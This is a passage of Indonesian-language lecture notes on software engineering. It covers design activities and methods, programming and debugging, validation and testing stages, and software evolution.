Proses konversi sistem spesifikasi ke sistem yang dapat dieksekusi langsung
Perancangan Perangkat Lunak
Perancangan Struktur Perangkat Lunak
Implementasi
Translasi struktur ke dalam bentuk program
Aktifitas perancangan dan implementasi berhubungan dekat dan dapat saling berinteraksi

Aktifitas dalam Perancangan:
  • Perancangan Arsitektur
  • Spesifikasi Abstrak
  • Perancangan Interface
  • Perancangan Komponen
  • Perancangan Struktur Data
  • Perancangan Algoritma

Proses Perancangan Perangkat Lunak


Metode Perancangan

Pendekatan sistematis untuk merancang perangkat lunak

  • Perancangan biasanya didokumentasikan dengan model grafik
  • Beberapa model yang dapat digunakan:
    • Data Flow Model
    • Model relasi atribut entitas
    • Model terstruktur
    • Model Object

Pemrograman dan Debug

  • Translasi perancangan ke dalam pemrograman dan menghilangkan error dari program
  • Pemrograman adalah aktifitas personal – tidak terdapat model program generic
  • Pemrogram melakukan beberapa program testing untuk menemukan fault dalam program dan menghilangkan fault tersebut dalam proses debug.


Validasi Perangkat Lunak
  • Verifikasi dan validasi bertujuan menunjukkan bahwa sistem sesuai dengan spesifikasinya dan yang diinginkan pengguna
  • Melibatkan proses pengujian dan review sistem
  • Pengujian sistem melibatkan eksekusi sistem dengan menggunakan kasus tes yang ditentukan dari spesifikasi data real yang akan diproses oleh sistem.
Stage Pengujian Perangkat Lunak
  • Unit Testing: Pengujian Komponen-komponen secara individu
  • Modul Testing: Pengujian terhadap komponen yang saling berhubungan,
  • Sub-system Testing: Pengujian terhadap module-module sistem yang saling berhubungan. Fokus pada pengujian interface.
  • System Testing: Pengujian keseluruhan sistem,
  • Acceptance Testing: Pengujian yang dilakukan oleh pengguna untuk melihat apakah sistem sudah dapat diterima.





Evolusi Sistem

Perangkat lunak pada dasarnya sangat fleksibel dan mudah berubah

Karena adanya perubahan kebutuhan melalui perubahan proses bisnis dan teknologi, maka perangkat lunak yang mendukung kegiatan bisnis tersebut juga mengalamai perubahan
Walaupun demikian diharapkan perubahan proses bisnis tersebut berdampak pada perubahan yang sedikit terhadap perangkat lunak (re-engineering).


Klasifikasi Tool